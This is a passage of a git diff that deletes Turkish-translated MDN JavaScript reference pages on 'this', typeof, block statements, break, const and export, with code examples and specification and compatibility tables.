class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('ES6', '#sec-this-keyword', 'The this keyword')}}</td> - <td>{{Spec2('ES6')}}</td> - <td> </td> - </tr> - <tr> - <td>{{SpecName('ES5.1', '#sec-11.1.1', 'The this keyword')}}</td> - <td>{{Spec2('ES5.1')}}</td> - <td> </td> - </tr> - <tr> - <td>{{SpecName('ES3', '#sec-11.1.1', 'The this keyword')}}</td> - <td>{{Spec2('ES3')}}</td> - <td> </td> - </tr> - <tr> - <td>{{SpecName('ES1', '#sec-11.1.1', 'The this keyword')}}</td> - <td>{{Spec2('ES1')}}</td> - <td>Initial definition. Implemented in JavaScript 1.0.</td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - -<p>{{CompatibilityTable}}</p> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Chrome</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Android</th> - <th>Chrome for Android</th> - <th>Firefox Mobile (Gecko)</th> - <th>IE Mobile</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - </tr> - </tbody> -</table> -</div> - -<h2 id="See_also">See also</h2> - -<ul> - <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions_and_function_scope/Strict_mode">Strict mode</a></li> - <li><a href="http://bjorn.tipling.com/all-this">All this</a>, an article about <code>this</code> in different contexts</li> -</ul> diff --git a/files/tr/web/javascript/reference/operators/typeof/index.html b/files/tr/web/javascript/reference/operators/typeof/index.html deleted file mode 100644 index 1c5785a9b1..0000000000 --- a/files/tr/web/javascript/reference/operators/typeof/index.html +++ /dev/null @@ -1,260 +0,0 @@ ---- -title: typeof -slug: Web/JavaScript/Reference/Operators/typeof -translation_of: Web/JavaScript/Reference/Operators/typeof -original_slug: Web/JavaScript/Reference/Operatörler/typeof ---- -<div>{{jsSidebar("Operatörler")}}</div> - -<p><strong><kbd>Typeof</kbd></strong> operatörü, değerlendirilmemiş işlenenin türünü gösteren bir dize döndürür.</p> - -<div>{{EmbedInteractiveExample("pages/js/expressions-typeof.html")}}</div> - - - -<h2 id="Sözdizimi">Sözdizimi</h2> - -<p>The <code>typeof</code> operator is followed by its operand:</p> - -<pre class="syntaxbox notranslate">typeof <em>operand -or -typeof (operand)</em> -</pre> - - - -<h3 id="Parametreler">Parametreler</h3> - -<p><code><em>operand</em></code> is an expression representing the object or {{Glossary("Primitive", "primitive")}} whose type is to be returned.</p> - -<p>Parantez isteğe bağlıdır.</p> - -<h2 id="Description">Description</h2> - -<p>The following table summarizes the possible return values of <code>typeof</code>. For more information about types and primitives, see also the <a href="/en-US/docs/Web/JavaScript/Data_structures">JavaScript data structure</a> page.</p> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Type</th> - <th scope="col">Result</th> - </tr> - </thead> - <tbody> - <tr> - <td>Undefined</td> - <td><code>"undefined"</code></td> - </tr> - <tr> - <td>Null</td> - <td><code>"object" </code>(see below)</td> - </tr> - <tr> - <td>Boolean</td> - <td><code>"boolean"</code></td> - </tr> - <tr> - <td>Number</td> - <td><code>"number"</code></td> - </tr> - <tr> - <td>String</td> - <td><code>"string"</code></td> - </tr> - <tr> - <td>Symbol (new in ECMAScript 2015)</td> - <td><code>"symbol"</code></td> - </tr> - <tr> - <td>Host object (provided by the JS environment)</td> - <td><em>Implementation-dependent</em></td> - </tr> - <tr> - <td>Function object (implements [[Call]] in ECMA-262 terms)</td> - <td><code>"function"</code></td> - </tr> - <tr> - <td>Any other object</td> - <td><code>"object"</code></td> - </tr> - </tbody> -</table> - -<h2 id="Örnekler">Örnekler</h2> - -<pre class="brush:js notranslate">// Sayılar -typeof 37 === 'number'; -typeof 3.14 === 'number'; -typeof(42) === 'number'; -typeof Math.LN2 === 'number'; -typeof Infinity === 'number'; -typeof NaN === 'number'; // Despite being "Not-A-Number" -typeof Number(1) === 'number'; // but never use this form! - - -// Metinler -typeof '' === 'string'; -typeof 'bla' === 'string'; -typeof '1' === 'string'; // note that a number within a string is still typeof string -typeof (typeof 1) === 'string'; // typeof always returns a string -typeof String('abc') === 'string'; // but never use this form! - - -// Booleans -typeof true === 'boolean'; -typeof false === 'boolean'; -typeof Boolean(true) === 'boolean'; // but never use this form! - - -// Symbols -typeof Symbol() === 'symbol' -typeof Symbol('foo') === 'symbol' -typeof Symbol.iterator === 'symbol' - - -// Undefined -typeof undefined === 'undefined'; -typeof declaredButUndefinedVariable === 'undefined'; -typeof undeclaredVariable === 'undefined'; - - -// Objeler -typeof {a: 1} === 'object'; - -// use <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/isArray">Array.isArray</a> or Object.prototype.toString.call -// to differentiate regular objects from arrays -typeof [1, 2, 4] === 'object'; - -typeof new Date() === 'object'; - - -// The following is confusing. Don't use! -typeof new Boolean(true) === 'object'; -typeof new Number(1) === 'object'; -typeof new String('abc') === 'object'; - - -// Fonksiyonlar -typeof function() {} === 'function'; -typeof class C {} === 'function'; -typeof Math.sin === 'function'; -</pre> - -<h3 id="null"><code>null</code></h3> - -<pre class="brush:js notranslate">// This stands since the beginning of JavaScript -typeof null === 'object'; -</pre> - -<p>In the first implementation of JavaScript, JavaScript values were represented as a type tag and a value. The type tag for objects was 0. <code>null</code> was represented as the NULL pointer (0x00 in most platforms). Consequently, null had 0 as type tag, hence the bogus <code>typeof</code> return value. (<a href="http://www.2ality.com/2013/10/typeof-null.html">reference</a>)</p> - -<p>A fix was proposed for ECMAScript (via an opt-in), but <a class="external" href="http://wiki.ecmascript.org/doku.php?id=harmony:typeof_null">was rejected</a>. It would have resulted in <code>typeof null === 'null'</code>.</p> - -<h3 id="new_operatör_kullanımı"><code>new</code> operatör kullanımı</h3> - -<pre class="brush:js notranslate">// All constructor functions while instantiated with 'new' keyword will always be typeof 'object' -var str = new String('String'); -var num = new Number(100); - -typeof str; // It will return 'object' -typeof num; // It will return 'object' - -// But there is a exception in case of Function constructor of Javascript - -var func = new Function(); - -typeof func; // It will return 'function' -</pre> - -<h3 id="Parantezlere_ihtiyaç_var">Parantezlere ihtiyaç var</h3> - -<pre class="brush:js notranslate">// Parentheses will be very much useful to determine the data type for expressions. -var iData = 99; - -typeof iData + ' Wisen'; // It will return 'number Wisen' -typeof (iData + ' Wisen'); // It will return 'string' - - -</pre> - -<h3 id="Düzenli_İfadeler">Düzenli İfadeler</h3> - -<p>Callable regular expressions were a non-standard addition in some browsers.</p> - -<pre class="brush:js notranslate">typeof /s/ === 'function'; // Chrome 1-12 Non-conform to ECMAScript 5.1 -typeof /s/ === 'object'; // Firefox 5+ Conform to ECMAScript 5.1 -</pre> - -<h3 id="Temporal_Dead_Zone_errors">Temporal Dead Zone errors</h3> - -<p>Before ECMAScript 2015, <code>typeof</code> was always guaranteed to return a string for any operand it was supplied with. But with the addition of non-hoisted, block-scoped <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/let">let</a></code> and <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/const">const</a></code>, using <code>typeof</code> on <code>let</code> and <code>const</code> variables in a block before they are declared will throw a <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/ReferenceError">ReferenceError</a></code>. This is in contrast with undeclared variables, for which <code>typeof</code> will return 'undefined'. Block scoped variables are in a "<a href="/en-US/docs/Web/JavaScript/Reference/Statements/let#Temporal_Dead_Zone_and_errors_with_let">temporal dead zone</a>" from the start of the block until the initialization is processed, during which, it will throw an error if accessed.</p> - -<pre class="brush: js notranslate">typeof undeclaredVariable === 'undefined'; -typeof newLetVariable; let newLetVariable; // ReferenceError -typeof newConstVariable; const newConstVariable = 'hello'; // ReferenceError -</pre> - -<h3 id="İstisnalar">İstisnalar</h3> - -<p>All current browsers expose a non-standard host object {{domxref("document.all")}} with type Undefined.</p> - -<pre class="brush:js notranslate">typeof document.all === 'undefined'; -</pre> - -<p>Although the specification allows custom type tags for non-standard exotic objects, it requires those type tags to be different from the predefined ones. The case of <code>document.all</code> having type tag <code>'undefined'</code> must be classified as an exceptional violation of the rules.</p> - -<h2 id="Özellikler">Özellikler</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('ESDraft', '#sec-typeof-operator', 'The typeof Operator')}}</td> - <td>{{Spec2('ESDraft')}}</td> - <td></td> - </tr> - <tr> - <td>{{SpecName('ES6', '#sec-typeof-operator', 'The typeof Operator')}}</td> - <td>{{Spec2('ES6')}}</td> - <td></td> - </tr> - <tr> - <td>{{SpecName('ES5.1', '#sec-11.4.3', 'The typeof Operator')}}</td> - <td>{{Spec2('ES5.1')}}</td> - <td></td> - </tr> - <tr> - <td>{{SpecName('ES3', '#sec-11.4.3', 'The typeof Operator')}}</td> - <td>{{Spec2('ES3')}}</td> - <td></td> - </tr> - <tr> - <td>{{SpecName('ES1', '#sec-11.4.3', 'The typeof Operator')}}</td> - <td>{{Spec2('ES1')}}</td> - <td>Initial definition. Implemented in JavaScript 1.1.</td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - - - -<p>{{Compat("javascript.operators.typeof")}}</p> - -<h2 id="IE_özel_notlar">IE özel notlar</h2> - -<p>On IE 6, 7, and 8 a lot of host objects are objects and not functions. For example:</p> - -<pre class="brush: js notranslate">typeof alert === 'object'</pre> - -<h2 id="Bakabilirsiniz">Bakabilirsiniz</h2> - -<ul> - <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/instanceof">instanceof</a></code></li> - <li><a href="http://es-discourse.com/t/why-typeof-is-no-longer-safe/15">Why typeof is no longer "safe"</a></li> -</ul> diff --git a/files/tr/web/javascript/reference/statements/block/index.html b/files/tr/web/javascript/reference/statements/block/index.html deleted file mode 100644 index 7d77ce73aa..0000000000 --- a/files/tr/web/javascript/reference/statements/block/index.html +++ /dev/null @@ -1,179 +0,0 @@ ---- -title: block -slug: Web/JavaScript/Reference/Statements/block -tags: - - Blok - - ifade -translation_of: Web/JavaScript/Reference/Statements/block ---- -<div>{{jsSidebar("Statements")}}</div> - -<p>Bir<strong> blok statement(ifade) </strong>(diğer bir deyişle <strong>birleşik ifade</strong>) sıfır ya da daha fazla ifadeyi gruplamak için kullanılır. Blok bir çift süslü parantezle sınırlandırılmakla beraber opsiyonel olarak {{jsxref("Statements/label", "etiketlenebilir")}}:</p> - -<h2 id="Syntax">Syntax</h2> - -<pre class="syntaxbox">[<em>etiket</em>:] { - <em>statement_1</em>; - <em>statement_2;</em> - ... - <em>statement_n;</em> -} -</pre> - -<dl> - <dt><code>statement_1</code>, <code>statement_2</code>, <code>statement_n</code></dt> - <dd>İfadeler tek bir statement içinde sınırlandırılmıştır.</dd> - <dt><font face="Consolas, Liberation Mono, Courier, monospace">etiket</font></dt> - <dd>Görsel bir tanımlama yapmak ya da bir {{jsxref("Statements/break", "break(kırılım)")}}oluşturmak için opsiyonel bir {{jsxref("Statements/label", "etikettir.")}}.</dd> -</dl> - -<h2 id="Açıklama">Açıklama</h2> - -<p>Statement,sıklıkla akış tablolarıyla birlikte kullanılır. (örn. {{jsxref("Statements/if...else", "if...else")}}, {{jsxref("Statements/for", "for")}}, {{jsxref("Statements/while", "while")}}). Örnek:</p> - -<pre class="brush: js">while (x < 10) { - x++; -} -</pre> - -<p>Hatırlatma : statement noktalı virgül ile sonlanmaz.</p> - -<p>Block statement diğer dillerde birleşik ifade yani compound statement olarak ifade edilir. Javasacript tek bir statement beklerken, birden çok statement kullanmanızı sağlar. Blokların birleşmesi Javascript için yaygın bir kullanımdır. Bir diğer kullanım ise statement kullanmanız gereken ancak kullanmadığınız yerlerde boş bir statement kullanılmasıdır.</p> - -<h3 id="Block_Scoping_Rules">Block Scoping Rules</h3> - -<h4 id="With_var">With <code>var</code></h4> - -<p>Variables declared with <code>var</code> <strong>do not</strong> have block scope. Variables introduced with a block are scoped to the containing function or script, and the effects of setting them persist beyond the block itself. In other words, block statements do not introduce a scope. Although "standalone" blocks are valid syntax, you do not want to use standalone blocks in JavaScript, because they don't do what you think they do, if you think they do anything like such blocks in C or Java. For example:</p> - -<pre class="brush: js example-bad">var x = 1; -{ - var x = 2; -} -console.log(x); // logs 2 -</pre> - -<p>Burada çıktı 2 oldu çünkü block için ayrı bir scope oluşmamıştır. C ya da Java'da çıktı 1 olur.</p> - -<h4 id="let_ve_const_ile"><code>let </code>ve <code>const</code> ile</h4> - -<p>Yukarıdakinin aksine {{jsxref("Statements/let", "let")}} ve {{jsxref("Statements/const", "const")}} ayrı bir scope olarak koşacaktır:</p> - -<pre class="brush: js">let x = 1; -{ - let x = 2; -} -console.log(x); // logs 1</pre> - -<p><code>x = 2</code> sınırlı bir statement içerisinde yer aldığından sadece o statement içerisinde geçerli olacaktır.</p> - -<p>Bu kural <code><strong>const</strong> içinde aynıdır</code>:</p> - -<pre class="brush: js">const c = 1; -{ - const c = 2; -} -console.log(c); // logs 1 and does not throw SyntaxError...</pre> - -<p>Dikkat edin sınırlı blocktaki <code>const c = 2</code> <em> </em>ifadesi <code>SyntaxError: Identifier 'c' zaten tanımlanmış </code>hatası vermedi çünkü, her blok içerisinde benzersiz olarak tanımlanır.</p> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('ESDraft', '#sec-block', 'Block statement')}}</td> - <td>{{Spec2('ESDraft')}}</td> - <td> </td> - </tr> - <tr> - <td>{{SpecName('ES6', '#sec-block', 'Block statement')}}</td> - <td>{{Spec2('ES6')}}</td> - <td> </td> - </tr> - <tr> - <td>{{SpecName('ES5.1', '#sec-12.1', 'Block statement')}}</td> - <td>{{Spec2('ES5.1')}}</td> - <td> </td> - </tr> - <tr> - <td>{{SpecName('ES3', '#sec-12.1', 'Block statement')}}</td> - <td>{{Spec2('ES3')}}</td> - <td> </td> - </tr> - <tr> - <td>{{SpecName('ES1', '#sec-12.1', 'Block statement')}}</td> - <td>{{Spec2('ES1')}}</td> - <td>Initial definition. Implemented in JavaScript 1.0.</td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - -<p>{{CompatibilityTable}}</p> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Chrome</th> - <th>Edge</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Android</th> - <th>Chrome for Android</th> - <th>Edge</th> - <th>Firefox Mobile (Gecko)</th> - <th>IE Mobile</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - </tr> - </tbody> -</table> -</div> - -<h2 id="See_also">See also</h2> - -<ul> - <li>{{jsxref("Statements/while", "while")}}</li> - <li>{{jsxref("Statements/if...else", "if...else")}}</li> - <li>{{jsxref("Statements/let", "let")}}</li> -</ul> diff --git a/files/tr/web/javascript/reference/statements/break/index.html b/files/tr/web/javascript/reference/statements/break/index.html deleted file mode 100644 index a929634f58..0000000000 --- a/files/tr/web/javascript/reference/statements/break/index.html +++ /dev/null @@ -1,117 +0,0 @@ ---- -title: break -slug: Web/JavaScript/Reference/Statements/break -translation_of: Web/JavaScript/Reference/Statements/break ---- -<div>{{jsSidebar("Statements")}}</div> - -<p>Break ifadesi içinde bulunduğu döngüyü , {{jsxref("Statements/switch", "switch")}}, or {{jsxref("Statements/label", "label")}} ifadelerini sonlandırır ve programın kontrolünü sonlandırılan ifadeyi ardından takip eden ifadeye geçirir.</p> - -<div>{{EmbedInteractiveExample("pages/js/statement-break.html")}}</div> - - - -<h2 id="Syntax">Syntax</h2> - -<pre class="syntaxbox"><code>break [etiket];</code></pre> - -<dl> - <dt><code>etiket</code></dt> - <dd>İsteğe bağlıdır.İfade etiketini tanımlamakta kullanılır. Eğer belirtilen ifade bir döngü ya da {{jsxref("Statements/switch", "switch")}} değilse, mutlaka kullanılması gerekir.</dd> -</dl> - -<h2 id="Description">Description</h2> - -<p>The <code>break</code> statement includes an optional label that allows the program to break out of a labeled statement. The <code>break</code> statement needs to be nested within the referenced label. The labeled statement can be any {{jsxref("Statements/block", "block")}} statement; it does not have to be preceded by a loop statement.</p> - -<h2 id="Examples">Examples</h2> - -<p>The following function has a <code>break</code> statement that terminates the {{jsxref("Statements/while", "while")}} loop when <code>i</code> is 3, and then returns the value 3 * <code>x</code>.</p> - -<pre class="brush:js;highlight:[6];">function testBreak(x) { - var i = 0; - - while (i < 6) { - if (i == 3) { - break; - } - i += 1; - } - - return i * x; -}</pre> - -<p>The following code uses <code>break</code> statements with labeled blocks. A <code>break</code> statement must be nested within any label it references. Notice that <code>inner_block</code> is nested within <code>outer_block</code>.</p> - -<pre class="brush:js;highlight:[1,2,4];">outer_block: { - inner_block: { - console.log('1'); - break outer_block; // breaks out of both inner_block and outer_block - console.log(':-('); // skipped - } - console.log('2'); // skipped -} -</pre> - -<p>The following code also uses <code>break</code> statements with labeled blocks but generates a Syntax Error because its <code>break</code> statement is within <code>block_1</code> but references <code>block_2</code>. A <code>break</code> statement must always be nested within any label it references.</p> - -<pre class="brush:js;highlight:[1,3,6];">block_1: { - console.log('1'); - break block_2; // SyntaxError: label not found -} - -block_2: { - console.log('2'); -} -</pre> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('ES1')}}</td> - <td>{{Spec2('ES1')}}</td> - <td>Initial definition. Unlabeled version.</td> - </tr> - <tr> - <td>{{SpecName('ES3')}}</td> - <td>{{Spec2('ES3')}}</td> - <td>Labeled version added.</td> - </tr> - <tr> - <td>{{SpecName('ES5.1', '#sec-12.8', 'Break statement')}}</td> - <td>{{Spec2('ES5.1')}}</td> - <td> </td> - </tr> - <tr> - <td>{{SpecName('ES6', '#sec-break-statement', 'Break statement')}}</td> - <td>{{Spec2('ES6')}}</td> - <td> </td> - </tr> - <tr> - <td>{{SpecName('ESDraft', '#sec-break-statement', 'Break statement')}}</td> - <td>{{Spec2('ESDraft')}}</td> - <td> </td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - - - -<p>{{Compat("javascript.statements.break")}}</p> - -<h2 id="See_also">See also</h2> - -<ul> - <li>{{jsxref("Statements/continue", "continue")}}</li> - <li>{{jsxref("Statements/label", "label")}}</li> - <li>{{jsxref("Statements/switch", "switch")}}</li> -</ul> diff --git a/files/tr/web/javascript/reference/statements/const/index.html b/files/tr/web/javascript/reference/statements/const/index.html deleted file mode 100644 index f04efc9a90..0000000000 --- a/files/tr/web/javascript/reference/statements/const/index.html +++ /dev/null @@ -1,149 +0,0 @@ ---- -title: const -slug: Web/JavaScript/Reference/Statements/const -translation_of: Web/JavaScript/Reference/Statements/const ---- -<div>{{jsSidebar("Statements")}}</div> - -<p>Sabit değerler(const), let anahtar sözcüğü kullanılarak bildirilen değişkenler gibi blok kapsamlıdır. Bir sabitin değeri yeniden atama yoluyla değiştirilemez ve yeniden beyan edilemez.</p> - -<div>{{EmbedInteractiveExample("pages/js/statement-const.html")}}</div> - -<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</div> - -<h2 id="Syntax">Syntax</h2> - -<pre class="syntaxbox notranslate">const <var>name1</var> = <var>value1</var> [, <var>name2</var> = <var>value2</var> [, ... [, <var>nameN</var> = <var>valueN</var>]]];</pre> - -<dl> - <dt><code><var>nameN</var></code></dt> - <dd>The constant's name, which can be any legal {{Glossary("identifier")}}.</dd> - <dt><code><var>valueN</var></code></dt> - <dd>The constant's value. This can be any legal <a href="/en-US/docs/Web/JavaScript/Guide/Expressions_and_Operators#Expressions">expression</a>, including a function expression.</dd> -</dl> - -<p> The <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment">Destructuring Assignment </a>syntax can also be used to declare variables.</p> - -<pre class="syntaxbox notranslate">const <var>{ bar }</var> = <em>foo</em>; // where foo = { bar:10, baz:12 }; -/* This creates a constant with the name 'bar', which has a value of 10 */</pre> - -<dl> -</dl> - -<h2 id="Description">Description</h2> - -<p>This declaration creates a constant whose scope can be either global or local to the block in which it is declared. Global constants do <strong>not</strong> become properties of the {{domxref("window")}} object, unlike {{jsxref("Statements/var", "var")}} variables.</p> - -<p>An initializer for a constant is required. You must specify its value in the same statement in which it's declared. (This makes sense, given that it can't be changed later.)</p> - -<p>The <strong><code>const</code> declaration</strong> creates a read-only reference to a value. It does <strong>not</strong> mean the value it holds is immutable—just that the variable identifier cannot be reassigned. For instance, in the case where the content is an object, this means the object's contents (e.g., its properties) can be altered.</p> - -<p>All the considerations about the "<a href="/en-US/docs/Web/JavaScript/Reference/Statements/let#Temporal_dead_zone">temporal dead zone</a>" apply to both {{jsxref("Statements/let", "let")}} and <code>const</code>.</p> - -<p>A constant cannot share its name with a function or a variable in the same scope.</p> - -<h2 id="Examples">Examples</h2> - -<h3 id="Basic_const_usage">Basic const usage</h3> - -<p>Constants can be declared with uppercase or lowercase, but a common convention is to use all-uppercase letters.</p> - -<pre class="brush: js; notranslate">// define MY_FAV as a constant and give it the value 7 -const MY_FAV = 7; - -// this will throw an error - Uncaught TypeError: Assignment to constant variable. -MY_FAV = 20; - -// MY_FAV is 7 -console.log('my favorite number is: ' + MY_FAV); - -// trying to redeclare a constant throws an error -// Uncaught SyntaxError: Identifier 'MY_FAV' has already been declared -const MY_FAV = 20; - -// the name MY_FAV is reserved for constant above, so this will fail too -var MY_FAV = 20; - -// this throws an error too -let MY_FAV = 20; - -</pre> - -<h3 id="Block_scoping">Block scoping</h3> - -<p>It's important to note the nature of block scoping.</p> - -<pre class="brush: js notranslate">if (MY_FAV === 7) { - // this is fine and creates a block scoped MY_FAV variable - // (works equally well with let to declare a block scoped non const variable) - let MY_FAV = 20; - - // MY_FAV is now 20 - console.log('my favorite number is ' + MY_FAV); - - // this gets hoisted into the global context and throws an error - var MY_FAV = 20; -} - -// MY_FAV is still 7 -console.log('my favorite number is ' + MY_FAV); -</pre> - -<h3 id="const_needs_to_be_initialized">const needs to be initialized</h3> - -<pre class="brush: js notranslate">// throws an error -// Uncaught SyntaxError: Missing initializer in const declaration - -const FOO; -</pre> - -<h3 id="const_in_objects_and_arrays">const in objects and arrays</h3> - -<p>const also works on objects and arrays.</p> - -<pre class="brush: js notranslate">const MY_OBJECT = {'key': 'value'}; - -// Attempting to overwrite the object throws an error -// Uncaught TypeError: Assignment to constant variable. -MY_OBJECT = {'OTHER_KEY': 'value'}; - -// However, object keys are not protected, -// so the following statement is executed without problem -MY_OBJECT.key = 'otherValue'; // Use Object.freeze() to make object immutable - -// The same applies to arrays -const MY_ARRAY = []; -// It's possible to push items into the array -MY_ARRAY.push('A'); // ["A"] -// However, assigning a new array to the variable throws an error -// Uncaught TypeError: Assignment to constant variable. -MY_ARRAY = ['B'];</pre> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Specification</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('ESDraft', '#sec-let-and-const-declarations', 'Let and Const Declarations')}}</td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - - - -<p>{{Compat("javascript.statements.const")}}</p> - -<h2 id="See_also">See also</h2> - -<ul> - <li>{{jsxref("Statements/var", "var")}}</li> - <li>{{jsxref("Statements/let", "let")}}</li> - <li><a href="/en-US/docs/Web/JavaScript/Guide/Grammar_and_types#Constants">Constants in the JavaScript Guide</a></li> -</ul> diff --git a/files/tr/web/javascript/reference/statements/export/index.html b/files/tr/web/javascript/reference/statements/export/index.html deleted file mode 100644 index ccc8dd657e..0000000000 --- a/files/tr/web/javascript/reference/statements/export/index.html +++ /dev/null @@ -1,186 +0,0 @@ ---- -title: export -slug: Web/JavaScript/Reference/Statements/export -translation_of: Web/JavaScript/Reference/Statements/export ---- -<div>{{jsSidebar("Statements")}}</div> - -<p><strong><code>export</code></strong> ifadesi JavaScript modülleri oluştururken fonksiyonların, nesnelerin ve temel değerlerin dışarı aktarılmasını sağlayarak, diğer programlar tarafından {{jsxref("Statements/import", "import")}} ifadesiyle kullanılmasını sağlar.</p> - -<div class="note"> -<p>Bu özellik şu an için yerel olarak sadece Safari'de uygulanmıştır. <a href="https://github.com/google/traceur-compiler">Traceur Compiler</a>, <a href="http://babeljs.io/">Babel</a> veya <a href="https://github.com/rollup/rollup">Rollup</a> gibi bir çok transpiler tarafından da uygulanmaktadır.</p> -</div> - -<h2 id="Sözdizim">Sözdizim</h2> - -<pre class="syntaxbox">export { <em>isim<var>1</var></em>, <em>isim</em><var>2</var>, …, <em>isim</em><var>N</var> }; -export { <var>degisken1</var> as <var>isim1</var>, <var>degisken2</var> as <var>isim2</var>, …, <var>isimN</var> }; -export let <var>isim1</var>, <var>isim2</var>, …, <var>isimN</var>; // ayrıca var, function -export let <var>isim1</var> = …, <var>isim2</var> = …, …, <var>isimN</var>; // ayrıca var, const - -export default <em>ifade</em>; -export default function (…) { … } // ayrıca class, function* -export default function isim1(…) { … } // ayrıca class, function* -export { <var>isim1</var> as default, … }; - -export * from …; -export { <em>isim</em><var>1</var>, <em>isim</em><var>2</var>, …, <em>isim</em><var>N</var> } from …; -export { <var>import1</var> as <var>isim1</var>, <var>import2</var> as <var>isim2</var>, …, <var>isimN</var> } from …;</pre> - -<dl> - <dt><code>isimN</code></dt> - <dd>Dışa aktarılacak belirleyici (böylece {{jsxref("Statements/import", "import")}} kullanılarak diğer programda içe aktarılabilir).</dd> -</dl> - -<h2 id="Açıklama">Açıklama</h2> - -<p>İki çeşit dışa aktarım vardır. Her biri aşağıdaki sözdizimlerden birine karşılık gelmektedir:</p> - -<ul> - <li>İsimlendirilmiş dışa aktarım: - <pre class="brush: js">// önceden tanımlı bir fonksiyonu dışa aktarır -export { birFonksiyon }; - -// bir sabiti dışa aktarır -export const karekok = Math.sqrt(2);</pre> - </li> - <li>Varsayılan dışa aktarım (fonksiyon): - <pre class="brush: js">export default function() {} </pre> - </li> - <li>Varsayılan dışa aktarım (sınıf): - <pre class="brush: js">export default class {} </pre> - </li> -</ul> - -<p>İsimlendirilmiş dışa aktarımlar birden fazla değeri dışarı aktarmak için kullanışlıdır. İçe aktarım sırasında, aynı isimle ve buna karşılık gelen değeri ile kullanılabilecektir.</p> - -<p>Varsayılan dışa aktarımla ilgili olarak, her bir modül için sadece bir adet varsayılan dışa aktarım vardır. Varsayılan dışa aktarım bir fonksiyon, bir sınıf, bir nesne veya başka bir şey olabilir. Dışa aktarımı en basit olacağından dolayı bu değer dışa aktarılan "ana" değer olarak nitelendirilecektir.</p> - -<p>Varsayılanların dışa aktarımı: Aşağıdaki sözdizimi varsayılan dışa aktarımı içe aktaran modülde gerçekleşmeyecektir:</p> - -<pre>export * from …;</pre> - -<p>Eğer varsayılanı dışa aktarmak isterseniz, aşağıdakini yazınız:</p> - -<pre>import mod from "mod"; -export default mod;</pre> - -<h2 id="Örnekler">Örnekler</h2> - -<h3 id="İsimlendirilmiş_dışa_aktarımları_kullanmak">İsimlendirilmiş dışa aktarımları kullanmak</h3> - -<p>Modül içerisinde, aşağıdaki kodu kullanabiliriz:</p> - -<pre class="brush: js">// modül "benim-modulum.js" -function kup(x) { - return x * x * x; -} -const deger = Math.PI + Math.SQRT2; -export { kup, deger }; -</pre> - -<p>Bu yolla, başka bir kod içerisinde (karşılaştır <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/import">import</a></code>), şunu yapabiliriz:</p> - -<pre class="brush: js">import { kup, deger } from 'benim-modulum'; -console.log(kup(3)); // 27 -console.log(deger); // 4.555806215962888</pre> - -<h3 id="Varsayılanın_dışa_aktarımının_kullanılması">Varsayılanın dışa aktarımının kullanılması</h3> - -<p>Eğer modülümüz için tek bir değeri dışa aktarmak istiyorsak veya bir son değere sahip olmak istiyorsak, varsayılan 